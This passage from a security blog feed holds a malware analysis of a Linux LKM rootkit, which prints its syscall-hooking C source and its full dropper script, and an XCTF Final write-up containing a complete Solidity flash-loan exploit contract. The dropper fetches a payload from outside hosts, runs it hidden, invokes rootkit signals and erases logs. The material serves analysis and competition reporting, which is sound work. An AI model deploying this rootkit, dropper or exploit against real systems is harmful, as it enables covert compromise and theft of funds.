        __sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64;
        __sys_call_table[__NR_kill] = (unsigned long) orig_kill;

        protect_memory();
}

module_init(iptable_reject_init);
module_exit(iptable_reject_cleanup);

MODULE_LICENSE(&#34;Dual BSD/GPL&#34;);
MODULE_AUTHOR(&#34;m0nad&#34;);
MODULE_DESCRIPTION(&#34;LKM rootkit&#34;);
</code></pre><pre><code class="language-c" data-language="c">struct linux_dirent {
        unsigned long   d_ino;
        unsigned long   d_off;
        unsigned short  d_reclen;
        char            d_name[1];
};

#define MAGIC_PREFIX &#34;&#34;

#define PF_INVISIBLE 0x10000000

#define MODULE_NAME &#34;iptable_reject&#34;

enum {
        SIGINVIS = 41,
        SIGSUPER = 54,
        SIGMODINVIS = 53,
};

#ifndef IS_ENABLED
#define IS_ENABLED(option) (defined(__enabled_ ## option) || defined(__enabled_ ## option ## _MODULE))
#endif

#if LINUX_VERSION_CODE &gt;= KERNEL_VERSION(5,7,0)
#define KPROBE_LOOKUP 1
#include &lt;linux/kprobes.h&gt;
static struct kprobe kp = {
            .symbol_name = &#34;kallsyms_lookup_name&#34;
};
#endif
</code></pre><pre><code class="language-c" data-language="c">obj-m := iptable_reject.o
CC = gcc -Wall
KDIR := /lib/modules/25.0.0/build
PWD := /tmp/a
</code></pre><p>并且尝试把这个内核扩展编译后加载进系统。</p><p>不太懂，请G老师来讲把！</p><blockquote>💡 </blockquote><blockquote>这是一个典型的 <strong>LKM rootkit</strong>（内核模块后门），通过劫持 <code>getdents</code> / <code>getdents64</code> 隐藏文件/目录和进程、劫持 <code>kill</code> 添加自定义信号来切换“隐身”/提权/模块隐藏，并通过修改 <code>sys_call_table</code> 实现这些功能；同时包含多内核版本兼容分支和 x86/arm64 的内存写保护处理。</blockquote><blockquote>下面我把代码按功能模块拆解说明、指出风险/缺陷、给出检测与处置建议，以及若你要改进/审计作者可做的要点。</blockquote><hr /><h2 id="dai-ma-jie-gou-yu-guan-jian-han-shu-zhu-kuai-jie-shi">代码结构与关键函数（逐块解释）</h2><h3 id="1-ru-kou-tui-chu">1) 入口 / 退出</h3><ul><li><code>module_init(iptable_reject_init)</code> / <code>module_exit(iptable_reject_cleanup)</code>：模块加载时查找 <code>sys_call_table</code>、保存原始系统调用指针、修改内存写保护、替换 <code>getdents</code>/<code>getdents64</code>/<code>kill</code> 为自定义实现；卸载时恢复原始表并恢复保护。</li></ul><h3 id="2-cha-zhao-xi-tong-diao-yong-biao">2) 查找系统调用表</h3><ul><li><code>get_syscall_table_bf()</code>：</li><li>若内核支持 <code>kallsyms_lookup_name</code>（通过 <code>KPROBE_LOOKUP</code> + kprobe），直接查找 <code>&#34;sys_call_table&#34;</code>。</li><li>否则使用暴力遍历法（从 <code>sys_close</code> 的地址开始逐页扫描，检测 <code>__NR_close</code> 指向 <code>sys_close</code>）——经典但危险的技巧（误报、性能与稳定性问题）。</li><li>注：代码里有 <code>register_kprobe(&amp;kp); kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; unregister_kprobe(&amp;kp);</code> ——但当前片段中 <code>kp</code> 未见定义，实际编译可能需要补全。</li></ul><h3 id="3-nei-cun-xie-bao-hu-chu-li-x86-arm64">3) 内存写保护处理（x86 / arm64）</h3><ul><li>x86/x86_64：</li><li>保存 <code>cr0</code>，通过 <code>write_cr0</code>/<code>write_cr0_forced</code> 清写保护位写回 <code>sys_call_table</code>，操作结束后再恢复 <code>cr0</code>。</li><li>arm64：</li><li>通过 <code>kallsyms_lookup_name(&#34;update_mapping_prot&#34;)</code> 获取函数指针并调用以修改 <code>.rodata</code>/只读区页属性。</li><li>目的：临时去掉内核页写保护以覆盖 <code>sys_call_table</code>。</li></ul><h3 id="4-yin-cang-mo-kuai-modulehidemoduleshow">4) 隐藏模块（module_hide/module_show）</h3><ul><li><code>module_hide()</code>：保存 <code>THIS_MODULE-&gt;list.prev</code>，从模块链表中 <code>list_del(&amp;THIS_MODULE-&gt;list)</code>，将模块从 <code>/proc/modules</code> 和模块链表中移除。</li><li><code>module_show()</code>：把模块重新 <code>list_add</code> 到之前保存的位置。</li><li>风险：如果模块链表修改或顺序被改变，<code>module_show()</code> 恢复可能失败或插入到错误位置。</li></ul><h3 id="5-ti-quan-yu-qing-li">5) 提权与清理</h3><ul><li><code>give_root()</code>：使用 <code>prepare_creds()</code> / 修改 <code>newcreds</code> 的 UID/GID/EUID 等为 0 / <code>commit_creds()</code> 提权当前进程。</li><li>分内核版本分支，为不同内核 API 兼容做适配。</li><li><code>tidy()</code>：<code>kfree(THIS_MODULE-&gt;sect_attrs)</code> 并把指针置 <code>NULL</code>（清除模块属性以减少可见性？）。</li></ul><h3 id="6-jin-cheng-yin-cang-luo-ji">6) 进程/隐藏逻辑</h3><ul><li><code>find_task(pid_t pid)</code>：遍历进程链表（<code>for_each_process</code>）查找目标 <code>task_struct</code>。</li><li><code>is_invisible(pid_t pid)</code>：检测目标进程 <code>task-&gt;flags &amp; PF_INVISIBLE</code> 是否被设置。</li><li><code>PF_INVISIBLE</code> 并非内核标准常见标志（这是 rootkit 定义的自有位或利用未使用位），修改 task-&gt;flags 来标记隐身。</li><li><code>hacked_getdents</code> / <code>hacked_getdents64</code>：</li><li>调用原始 <code>getdents</code>/<code>getdents64</code> 得到结果长度 <code>ret</code>，分配内核缓冲 <code>kdirent</code>，从用户空间 <code>copy_from_user</code> 整块拷贝目录项，遍历目录项：</li><li>如果是普通目录且文件名以 <code>MAGIC_PREFIX</code>（来自 <code>iptable_reject.h</code>）开头 -&gt; 隐藏。</li><li>如果是 <code>/proc</code> 根目录（通过 <code>d_inode-&gt;i_ino == PROC_ROOT_INO</code> 检测）且 <code>is_invisible(atoi(d_name))</code> 返回真 -&gt; 隐藏对应 pid 条目。</li><li>隐藏实现通过调整前一项 <code>d_reclen</code> 或 <code>memmove</code> 把条目从缓冲中删除。</li><li>最后 <code>copy_to_user</code> 回写并 <code>kfree</code>。</li><li>注意：对用户缓冲的假设（size = ret）可能与用户传入 <code>count</code> 或 <code>struct linux_dirent</code> 大小有关，兼容性敏感。</li><li><code>hacked_kill</code>：</li><li>解析 <code>kill(pid, sig)</code>（或 pt_regs 版本）：</li><li>特定自定义信号 <code>SIGINVIS</code>：切换目标进程的 <code>PF_INVISIBLE</code>（隐身开关）。</li><li><code>SIGSUPER</code>：调用 <code>give_root()</code> 给发送该信号的进程提权（或给目标进程？代码对 <code>pid</code> 的使用需看调用，通常为目标 pid）。</li><li><code>SIGMODINVIS</code>：切换模块隐藏（<code>module_hidden</code> 标志）。</li><li>其它信号委托给原始 <code>kill</code>。</li><li>由此，攻击者可以用 <code>kill -&lt;magic&gt; &lt;pid&gt;</code> 来控制 rootkit 行为。</li></ul><hr /><h2 id="zheng-ti-mu-de-yu-neng-li-zong-jie">整体目的与能力（总结）</h2><ul><li>隐藏文件/目录（通过前缀 <code>MAGIC_PREFIX</code>）；</li><li>隐藏 <code>/proc/&lt;pid&gt;</code> 中的某些进程（通过 <code>PF_INVISIBLE</code> 标志）；</li><li>通过特定 <code>kill</code> 信号对进程施加“隐身切换”、提升权限（give_root）、模块隐藏/显示；</li><li>隐藏模块自身（从模块链表中移除）；</li><li>兼容多内核版本与多架构（x86/x86_64/ARM64）的实现分支。</li></ul><blockquote>简言之：<strong>一个完全的 rootkit 功能集合（隐藏 + 后门提权 + 控制通道）</strong>。</blockquote><p>于是这个恶意软件在内核中添加了很多提权功能和通道。</p><p>接着看</p><pre><code class="language-shell" data-language="shell">DIR3=&#34;/etc/$hhide&#34;
if [ -d &#34;$DIR3&#34; ]; then
  echo &#34;folder  ok&#34;
else
  mkdir &#34;$DIR3&#34;
fi
EXE=`echo $RANDOM | md5sum | head -c 8` # 随机process！ 
PID=`cat /tmp/.X0_locks` # 已经启动的进程
mama=$2 # 代理
if [ -e &#34;/proc/$PID/status&#34; ]; then
  echo &#34;process exists&#34; # 存在了，直接退出？
else
if [ -z &#34;$2&#34; ]; then # 没有proxy，也退出。
  echo &#34;No Prx&#34;
else
  if grep -q &#34;localhost00&#34; &#34;/etc/hosts&#34;; then # localhost00 添加
    echo &#34;H exists&#34;
  else
    if [ `wc -l &lt; /etc/hosts` -lt 3 ]; then
      echo &#34;$mama localhost00&#34; &gt;&gt; /etc/hosts # localhost00 -&gt; localhost
    else
      sed -i &#34;3i $mama localhost00&#34; /etc/hosts
    fi
  fi
fi
  echo &#34;process not exists&#34;
  FILE1=&#34;/etc/$hhide/iptable_reject&#34;
  if [ -f &#34;$FILE1&#34; ]; then
      echo &#34;PI exists.&#34;
  else # 下载解压
      echo &#34;PI does not exist.&#34;
      curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname &#34;$mama&#34;:9090 http://example.established.site/pn.zip
    FILE=&#34;/tmp/pn.zip&#34;
    FILESIZE=$(stat -c%s &#34;$FILE&#34;)
    if (( FILESIZE &gt; &#34;1000000&#34;)); then 
        echo &#34;zip exists.&#34;
    else
        echo &#34;zip does not exist.&#34;
        rm -rf &#34;$FILE&#34;
        wget --timeout=5 --tries=2 http://example.established.site/pn.zip -q -O /tmp/pn.zip
    fi
    if (( FILESIZE &gt; &#34;1000000&#34;)); then 
        echo &#34;zip exists.&#34;
    else
        echo &#34;zip does not exist.&#34;
        rm -rf &#34;$FILE&#34;
        curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname &#34;$mama&#34;:1081 http://example.established.site/pn.zip
    fi
    if (( FILESIZE &gt; &#34;1000000&#34;)); then 
        echo &#34;zip exists.&#34;
    else
        echo &#34;zip does not exist.&#34;
        rm -rf &#34;$FILE&#34;
        wget --timeout=5 --tries=2 http://w.amax.fun/pn.zip -q -O /tmp/pn.zip
    fi
    if (( FILESIZE &gt; &#34;1000000&#34;)); then 
      echo &#34;zip exists.&#34;
    else
        echo &#34;zip does not exist.&#34;
        rm -rf &#34;$FILE&#34;
        curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname &#34;$mama&#34;:9090 http://172.104.170.240/pn.zip
    fi
    if (( FILESIZE &gt; &#34;1000000&#34;)); then 
        echo &#34;zip exists.&#34;
    else
        echo &#34;zip does not exist.&#34;
        rm -rf &#34;$FILE&#34;
        wget --timeout=50 --tries=2 http://172.104.170.240/pn.zip -q -O /tmp/pn.zip
    fi
    cd /tmp/
    unzip -qq -o pn.zip
    rm -rf pn.zip
    mv iptable_reject &#34;$FILE1&#34;
  fi
  # 准备运行
  FILE2=&#34;/$EXE&#34;
  if [ -f &#34;$FILE2&#34; ]; then
      echo &#34;MD exists.&#34;
  else
      echo &#34;MD does not exist.&#34;
      cp &#34;$FILE1&#34; /&#34;$EXE&#34;
  fi
  /&#34;$EXE&#34; 2&gt;/dev/null 1&gt;/dev/null&amp;
  sleep 2
  pidof &#34;$EXE&#34; &gt; /tmp/.X0_locks # 存放pid
  rm -rf /&#34;$EXE&#34;
  kill -53 10000000 # 提权
  if grep -q &#34;iptable_reject&#34; &#34;/proc/modules&#34;; then
    echo &#34;M exists&#34;
    kill -41 `cat /tmp/.X0_locks` # 提权
    kill -53 10000000
  else
    echo &#34;M not exists&#34;
    module_install
    kill -53 10000000
  if grep -q &#34;iptable_reject&#34; &#34;/proc/modules&#34;; then
    echo &#34;M exists&#34;
    kill -41 `cat /tmp/.X0_locks`
    kill -53 10000000
  else
    echo &#34;M not installed check errors 2&#34;
  fi
  fi
fi
sudo journalctl --vacuum-time=1s</code></pre><p>嗯于是下一步是拿到他的pn.zip，同样我们也找到了——sha256sum是：<code>751227400b52c41bbaecea83dc97182c10da158e22d0168f237c9b6c3be8e0d8</code> 。这个可以找到相关的分析，这里就不做了。</p>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <category domain="https://nvme0n1p.dev/tags/ctf">CTF</category>
            <category domain="https://nvme0n1p.dev/tags/ji-shu">技术</category>
            <category domain="https://nvme0n1p.dev/cats/security-tech">安全技术</category>
            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/evil-troy.png" />
        </item>
        <item>
            <title><![CDATA[2025 XCTF Final 题解]]></title>
            <link>https://nvme0n1p.dev/posts/2025-xctf-final</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/2025-xctf-final</guid>
            <pubDate>Mon, 27 Oct 2025 12:32:04 GMT</pubDate>
            <description><![CDATA[]]></description>
            <content:encoded><![CDATA[<h3 id="day-1">Day -1</h3><p>比赛前几天就到这附近了（江浙沪就是附近！），去参加了下GEEKCON 2025。看了些DARKNAVY做的比较有意思的安全披露和挑战，印象比较深的有Web3钱包的攻击之类的。但是不给底层原理的这个会议其实没有那么有趣。（当然如果给底层原理也就不会有下面这条了）</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/29e8897d6e2925965e65db76d0800264.webp" width="1080" height="2376" /></figure><h3 id="day-1-1">Day 1</h3><p>这场比赛算是，对于AI感知最大的一场了…?</p><h4 id="misc-warp-finance">Misc - Warp Finance</h4><p>比较简单（？的闪电贷套利。今年初的VNCTF 2025才出过一个类似的，同样ethernaut也有类似的题目。打开claude code试一试，结果它还真给出了一个能用的脚本。</p><pre><code class="language-solidity" data-language="solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

import &#34;forge-std/Script.sol&#34;;
import &#34;forge-std/console.sol&#34;;
import &#34;../src/Setup.sol&#34;;
import &#34;./Attacker.sol&#34;;
import &#34;./SimpleAttacker.sol&#34;;

contract SolveScript is Script {
    Setup public setup;
    Attacker public attacker;
    SimpleAttacker public simpleAttacker;
    
    function run() external {
        // Setup the environment
        vm.startBroadcast();
        
        // Deploy Setup contract
        setup = Setup(0x41b819454066A782d933b66FB128A2962E842649);
        // setup = new Setup();
        console.log(&#34;Setup deployed at:&#34;, address(setup));
        
        // Deploy Simple Attacker contract  
        simpleAttacker = new SimpleAttacker(address(setup));
        console.log(&#34;SimpleAttacker deployed at:&#34;, address(simpleAttacker));
        
        // Log initial state
        console.log(&#34;=== Initial State ===&#34;);
        console.log(&#34;Pool stable balance:&#34;, setup.stableToken().balanceOf(address(setup.pool())));
        console.log(&#34;Player stable balance:&#34;, setup.stableToken().balanceOf(msg.sender));
        console.log(&#34;Flash minter balance:&#34;, setup.stableToken().balanceOf(address(setup.flashMinter())));
        console.log(&#34;Is solved before attack:&#34;, setup.isSolved());
        
        // Get DEX reserves before attack
        (uint112 reserve0Before, uint112 reserve1Before) = setup.dex().getReserves();
        console.log(&#34;DEX reserves before - Collateral:&#34;, reserve0Before, &#34;Stable:&#34;, reserve1Before);
        
        // Execute the attack
        console.log(&#34;\n=== Executing Attack ===&#34;);
        simpleAttacker.attack();
        
        // Check balances after attack
        console.log(&#34;\n=== Post-Attack State ===&#34;);
        console.log(&#34;Pool stable balance:&#34;, setup.stableToken().balanceOf(address(setup.pool())));
        console.log(&#34;Player stable balance:&#34;, setup.stableToken().balanceOf(msg.sender));
        console.log(&#34;SimpleAttacker stable balance:&#34;, setup.stableToken().balanceOf(address(simpleAttacker)));
        
        // Get DEX reserves after attack
        (uint112 reserve0After, uint112 reserve1After) = setup.dex().getReserves();
        console.log(&#34;DEX reserves after - Collateral:&#34;, reserve0After, &#34;Stable:&#34;, reserve1After);
        
        // Check if solved
        console.log(&#34;Is solved after attack:&#34;, setup.isSolved());
        
        // Verify target conditions
        uint256 poolBalance = setup.stableToken().balanceOf(address(setup.pool()));
        uint256 playerBalance = setup.stableToken().balanceOf(msg.sender);
        
        console.log(&#34;\n=== Target Verification ===&#34;);
        console.log(&#34;Target pool balance:&#34;, setup.TARGET_POOL_BALANCE());
        console.log(&#34;Actual pool balance:&#34;, poolBalance);
        console.log(&#34;Target player balance:&#34;, setup.TARGET_PLAYER_BALANCE());
        console.log(&#34;Actual player balance:&#34;, playerBalance);
        
        bool poolCondition = poolBalance &lt;= setup.TARGET_POOL_BALANCE();
        bool playerCondition = playerBalance &gt;= setup.TARGET_PLAYER_BALANCE();
        
        console.log(&#34;Pool condition met:&#34;, poolCondition);
        console.log(&#34;Player condition met:&#34;, playerCondition);
        console.log(&#34;Challenge solved:&#34;, poolCondition &amp;&amp; playerCondition);
        
        vm.stopBroadcast();
    }
    
    // Alternative function to run attack on existing setup
    function runWithExistingSetup(address setupAddress) external {
        vm.startBroadcast();
        
        setup = Setup(setupAddress);
        console.log(&#34;Using existing Setup at:&#34;, setupAddress);
        
        // Deploy SimpleAttacker contract
        simpleAttacker = new SimpleAttacker(setupAddress);
        console.log(&#34;SimpleAttacker deployed at:&#34;, address(simpleAttacker));
        
        // Log initial state
        console.log(&#34;=== Initial State ===&#34;);
        console.log(&#34;Pool stable balance:&#34;, setup.stableToken().balanceOf(address(setup.pool())));
        console.log(&#34;Player stable balance:&#34;, setup.stableToken().balanceOf(msg.sender));
        console.log(&#34;Is solved before attack:&#34;, setup.isSolved());
        
        // Execute the attack
        console.log(&#34;\n=== Executing Attack ===&#34;);
        simpleAttacker.attack();
        
        // Check final state
        console.log(&#34;\n=== Final State ===&#34;);
        console.log(&#34;Pool stable balance:&#34;, setup.stableToken().balanceOf(address(setup.pool())));
        console.log(&#34;Player stable balance:&#34;, setup.stableToken().balanceOf(msg.sender));
        console.log(&#34;Is solved:&#34;, setup.isSolved());
        
        vm.stopBroadcast();
    }
}</code></pre><pre><code class="language-solidity" data-language="solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

import &#34;../src/Setup.sol&#34;;
import &#34;../src/core/WarpDexPair.sol&#34;;
import &#34;../src/core/WarpLendingPool.sol&#34;;
import &#34;../src/utils/StableFlashMinter.sol&#34;;
import &#34;../src/tokens/MockERC20.sol&#34;;

contract SimpleAttacker {
    Setup public setup;
    MockERC20 public collateralToken;
    MockERC20 public stableToken;
    WarpDexPair public dex;
    WarpLendingPool public pool;
    StableFlashMinter public flashMinter;
    
    address public owner;
    
    constructor(address _setup) {
        setup = Setup(_setup);
        collateralToken = setup.collateralToken();
        stableToken = setup.stableToken();
        dex = setup.dex();
        pool = setup.pool();
        flashMinter = setup.flashMinter();
        owner = msg.sender;
    }
    
    function attack() external {
        require(msg.sender == owner, &#34;Only owner can attack&#34;);
        
        // Claim initial tokens first
        setup.claim();
        
        // Execute multiple flash loans to extract maximum value
        for (uint256 i = 0; i &lt; 5; i++) {
            uint256 available = stableToken.balanceOf(address(flashMinter));
            if (available &gt; 1 ether) {
                bytes memory data = abi.encode(i);
                flashMinter.flashBorrow(available, data);
            } else {
                break;
            }
        }
        
        // Final cleanup: withdraw any remaining collateral
        _finalCleanup();
    }
    
    function onFlashLoan(uint256 amount, uint256 fee, bytes calldata data) external {
        require(msg.sender == address(flashMinter), &#34;Only flash minter can call&#34;);
        
        uint256 round = abi.decode(data, (uint256));
        
        // Calculate repayment amount
        uint256 repayAmount = amount + fee;
        
        if (round == 0) {
            // First round: major price manipulation and pool draining
            _firstRoundAttack(amount, repayAmount);
        } else {
            // Subsequent rounds: extract more value from collateral
            _extractMoreValue(amount, repayAmount);
        }
        
        // Always ensure repayment
        _ensureRepayment(repayAmount);
        
        // Transfer any remaining profit to owner
        uint256 profit = stableToken.balanceOf(address(this));
        if (profit &gt; 0) {
            stableToken.transfer(owner, profit);
        }
    }
    
    function _firstRoundAttack(uint256 amount, uint256 repayAmount) internal {
        // Use most of flash loan for price manipulation
        uint256 manipulationAmount = (amount * 98) / 100; // 98% for manipulation
        
        // Swap to get collateral at low price
        stableToken.approve(address(dex), manipulationAmount);
        uint256 collateralReceived = dex.swap(
            address(stableToken),
            manipulationAmount,
            0,
            address(this)
        );
        
        // Deposit all collateral to maximize borrowing power
        collateralToken.approve(address(pool), collateralReceived);
        pool.depositCollateral(collateralReceived);
        
        // Borrow everything possible from the pool
        uint256 poolBalance = stableToken.balanceOf(address(pool));
        (,uint256 maxBorrowable,) = pool.accountStatus(address(this));
        
        uint256 borrowAmount = maxBorrowable &lt; poolBalance ? maxBorrowable : poolBalance;
        if (borrowAmount &gt; 0) {
            pool.borrow(borrowAmount);
        }
    }
    
    function _extractMoreValue(uint256 amount, uint256 repayAmount) internal {
        // For later rounds, focus on extracting value from our collateral position
        uint256 collateralDeposited = pool.collateralDeposits(address(this));
        uint256 currentDebt = pool.debt(address(this));
        
        if (collateralDeposited &gt; 0) {
            // Calculate how much we can safely withdraw
            (uint256 collateralValue,,) = pool.accountStatus(address(this));
            
            // Minimum collateral value needed to maintain position
            uint256 minCollateralValue = (currentDebt * 1e18) / pool.COLLATERAL_FACTOR();
            
            if (collateralValue &gt; minCollateralValue) {
                // We can withdraw some excess collateral
                uint256 excessValue = collateralValue - minCollateralValue;
                uint256 currentPrice = dex.spotPrice(address(collateralToken));
                uint256 maxWithdraw = (excessValue * 1e18) / currentPrice;
                
                // Withdraw with safety margin
                maxWithdraw = (maxWithdraw * 90) / 100;
                
                if (maxWithdraw &gt; 0 &amp;&amp; maxWithdraw &lt;= collateralDeposited) {
                    pool.withdrawCollateral(maxWithdraw);
                    
                    // Sell the withdrawn collateral
                    collateralToken.approve(address(dex), maxWithdraw);
                    dex.swap(
                        address(collateralToken),
                        maxWithdraw,
                        0,
                        address(this)
                    );
                }
            }
            
            // Try to do another round of price manipulation with available funds
            uint256 availableForManipulation = stableToken.balanceOf(address(this));
            if (availableForManipulation &gt; repayAmount + 100 ether) {
                uint256 manipAmount = availableForManipulation - repayAmount - 50 ether;
                
                // Another round of price manipulation
                stableToken.approve(address(dex), manipAmount);
                uint256 newCollateral = dex.swap(
                    address(stableToken),
                    manipAmount,
                    0,
                    address(this)
                );
                
                // Deposit and borrow again
                collateralToken.approve(address(pool), newCollateral);
                pool.depositCollateral(newCollateral);
                
                (,uint256 newMaxBorrow,) = pool.accountStatus(address(this));
                uint256 additionalBorrow = newMaxBorrow - currentDebt;
                
                uint256 poolBalance = stableToken.balanceOf(address(pool));
                if (additionalBorrow &gt; 0 &amp;&amp; additionalBorrow &lt;= poolBalance) {
                    pool.borrow(additionalBorrow);
                }
            }
        }
    }
    
    function _ensureRepayment(uint256 repayAmount) internal {
        uint256 currentBalance = stableToken.balanceOf(address(this));
        
        if (currentBalance &lt; repayAmount) {
            uint256 shortage = repayAmount - currentBalance;
            
            // Withdraw collateral to cover shortage
            (uint112 reserve0, uint112 reserve1) = dex.getReserves();
            uint256 collateralNeeded = (shortage * uint256(reserve0) * 110) / (uint256(reserve1) * 100);
            
            uint256 availableCollateral = pool.collateralDeposits(address(this));
            if (collateralNeeded &gt; availableCollateral) {
                collateralNeeded = availableCollateral;
            }
            
            if (collateralNeeded &gt; 0) {
                pool.withdrawCollateral(collateralNeeded);
                collateralToken.approve(address(dex), collateralNeeded);
                dex.swap(
                    address(collateralToken),
                    collateralNeeded,
                    0,
                    address(this)
                );
            }
        }
        
        // Repay the flash loan
        stableToken.transfer(address(flashMinter), repayAmount);
    }
    
    function _finalCleanup() internal {
        // Extract any remaining collateral value
        uint256 remainingCollateral = pool.collateralDeposits(address(this));
        uint256 currentDebt = pool.debt(address(this));
        
        if (remainingCollateral &gt; 0) {
            // Try to withdraw remaining collateral if debt allows
            if (currentDebt == 0) {
                // No debt, can withdraw everything
                pool.withdrawCollateral(remainingCollateral);
                collateralToken.approve(address(dex), remainingCollateral);
                dex.swap(
                    address(collateralToken),
                    remainingCollateral,
                    0,
                    owner
                );
            } else {
                // Calculate safe withdrawal amount
                (uint256 collateralValue,,) = pool.accountStatus(address(this));
                uint256 minRequired = (currentDebt * 1e18) / pool.COLLATERAL_FACTOR();
                
                if (collateralValue &gt; minRequired) {
                    uint256 excessValue = collateralValue - minRequired;
                    uint256 currentPrice = dex.spotPrice(address(collateralToken));
                    uint256 withdrawable = (excessValue * 1e18) / currentPrice;
                    withdrawable = (withdrawable * 95) / 100; // Safety margin
                    
                    if (withdrawable &gt; 0 &amp;&amp; withdrawable &lt;= remainingCollateral) {
                        pool.withdrawCollateral(withdrawable);
                        collateralToken.approve(address(dex), withdrawable);
                        dex.swap(
                            address(collateralToken),
                            withdrawable,
                            0,
                            owner
                        );
                    }
                }
            }
        }
        
        // Transfer any remaining stable tokens to owner
        uint256 remainingStable = stableToken.balanceOf(address(this));
        if (remainingStable &gt; 0) {
            stableToken.transfer(owner, remainingStable);
        }
    }
    
    // Check if attack was successful
    function checkSuccess() external view returns (bool) {
        return setup.isSolved();
    }
}</code></pre><p>于是拿了一血。</p><h4 id="misc-ghosttunnel">Misc - GhostTunnel</h4><p>这个比较有意思的一个golang实现的tunnel，但是第一问被非预期了——给了core dump，strings搜一下就拿到flag的base64了。Revenge其实就是把这个字符串删了…</p><p>如果正常来做的话，首先观察发现是upx的，想办法脱壳：（尝试用qiling跑模拟，调了半天发现upx可以直接解）而后拖入ida观察发现有这样的定义_golang，也能找到一些golang风格的调用。</p><p><a href="https://github.com/mandiant/GoReSym">GitHub - mandiant/GoReSym: Go symbol recovery tool</a>用了这个软件拿到了golang的符号，大概（用AI）看了眼发现了主要逻辑的位置，没往后逆了，过几天看看有没有空补上。预期做法大概是从core dump里拿密钥，然后再解密流量拿flag。不过最后是零解，想必也不是很简单了。</p><h4 id="reverse-rewrite-it-in-rust">Reverse - Rewrite it in Rust </h4><p>一个wasm，js里没啥内容？？主要逻辑都在wasm二进制里，怎么还是rust。。。尝试用ida mcp做了会还真吐出来了flag。</p><h4 id="realworld-stm32-morsecode">Realworld - STM32-MorseCode</h4><p>一块开发版，要求是在Pin C13上敲XCTF的morse 电码就给<code>uid</code>，然后把<code>uid</code>通过<code>Mifare Classic Tool</code> 写入就能在现场刷卡了</p><pre><code class="language-solidity" data-language="solidity">__   __ _____  _______  ______            ____    _____  _____
\ \ / // ____||__   __||  ____|          / __ \  / ____||  __ \
 \ V /| |        | |   | |__      \ /   | |  | || (___  | |__) |
  &gt; &lt; | |        | |   |  __|      X    | |  | | \___ \ |  _  /
 / . \| |____    | |   | |        / \   | |__| | ____) || | \ \
/_/ \_\\_____|   |_|   |_|               \____/ |_____/ |_|  \_\

[*] Welcome to XCTF Final 2025 ~
[0] The Attachment at https://github.com/xuanxuanblingbling/xctf_2025_final_rw_stm32
[1] Tap Morse code &#34;XCTF&#34; at PC13 (active low) to get the first NFC M1 Card UID !
[2] Use CVE-2020-15808 or Glitch Attack to bypass STM32F103 RDP1, get the second NFC M1 Card UID at 0x0800F000 !</code></pre><h4 id="realworld-stm32-rdpbypass">Realworld - STM32-RDPBypass</h4><p>和上面一样的一块STM32开发版。提示是用CVE-2020-15808或者Glitch Attack来绕过RDP level 1 读取，而后读取内存上的0x0800F000处的uid。</p><blockquote>💡 </blockquote><blockquote>RDP是Read Protection。在STM32中，flash和CPU，memory等固件被一起封装到MCU片中，这样我们就无法使用烧录夹来单独读取flash固件中的内容了（对比esp32？）。所以为了让在mcu中的flash也无法被读取，stm设计了一套读保护机制，在使用stlink或者jlink这类调试器时，系统<strong>不会</strong>允许读取flash中的内容。</blockquote><p>于是RDP bypass就是用来读取这样内容的。</p><p>根据提示有两种方法，一种是Glitch Attack，我没用这个方法（其实就是没找到Orz）放一篇paper吧。</p><p><a href="https://tches.iacr.org/index.php/TCHES/article/view/7390/6562">View of Shaping the Glitch: Optimizing Voltage Fault Injection Attacks</a></p><p>第二种是CVE，根据网上不算很多的信息能定位到一条推文——带有源码漏洞位置</p><p><a href="https://x.com/horac341/status/1311911734572208129" rel="nofollow noreferrer" target="_blank">Tweet: https://x.com/horac341/status/1311911734572208129</a></p><p>以及一篇pdf</p><p><a href="https://i.blackhat.com/asia-20/Friday/asia-20-Wypych-Raiden-Glitching-Framework.pdf">i.blackhat.com</a></p><p>由此可以定位到相关的函数（其他地方应该也有，大概是a2这个结构体）</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/1c4ebdd8b6e29af859d0572efce692de.webp" width="3680" height="6332" /></figure><p>经过仔细比对确实是没有长度检查，对比后来的stm32库中的代码,在这个库中<a href="https://github.com/STMicroelectronics/stm32-mw-usb-device/blob/d1a9b6baeafc56053db3f8ac946c98e5aa925338/Class/CDC/Src/usbd_cdc.c">https://github.com/STMicroelectronics/stm32-mw-usb-device/blob/d1a9b6baeafc56053db3f8ac946c98e5aa925338/Class/CDC/Src/usbd_cdc.c</a></p><p>才添加了相对应的长度check，堵死了这个漏洞。</p><p>于是我们只需要用pyusb这类设备操作usb给stm32的硬件发送构造好的request，就能读取到数据的内容。</p><p>但是由于用脑过度没能做出来，遗憾。</p><blockquote>💡 </blockquote><blockquote>赛后出题人说用Glitch Attack的找他们借了设备的都被送了设备，彻底失败。</blockquote><p>过几天复现了再发一篇文章😭</p><h3 id="day-2-awd">Day 2 AWD</h3><p>原汁原味的AWD（存疑。</p><p>因为主要是web和pwn，没我什么事情，所以负责写脚本，批量化运行exp并提交flag。（乐</p><p>当然web小伙伴评价也是没什么参与感.jpg。把题目贴进chatgpt或者claude code，然后等一会就能看到攻击路径，然后写代码就好了。。。</p><p>但是比较新奇的是增加了可以看flag的流量包和其他选手的patch，所以这比awdp更有趣更刺激。</p><h3 id="solo">solo</h3><p>solo是两位crypto小伙伴做的。在开始第一轮时我们是前4，所以24 - 12 我们没有打。而后是一个16 - 8。这场是crypto，没看。下面一场8 - 4 是 re， 同样用mcp扔给gpt是rc2，搓了脚本秒出。4 - 2 是vm，好消息是代码很短，稍微理一理逻辑，也不是很难的。</p><p>最后一个是pwn，对手是我们的pwn老大tplus（为什么在我们对面！），毫无疑问地输了。</p><h3 id="end">END</h3><p>燃尽了，睡酒店里还被蚊子咬了好多包！睡觉去了Orz</p>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <category domain="https://nvme0n1p.dev/tags/ctf">CTF</category>
            <category domain="https://nvme0n1p.dev/tags/ti-jie">题解</category>
            <category domain="https://nvme0n1p.dev/cats/ti-jie">题解</category>
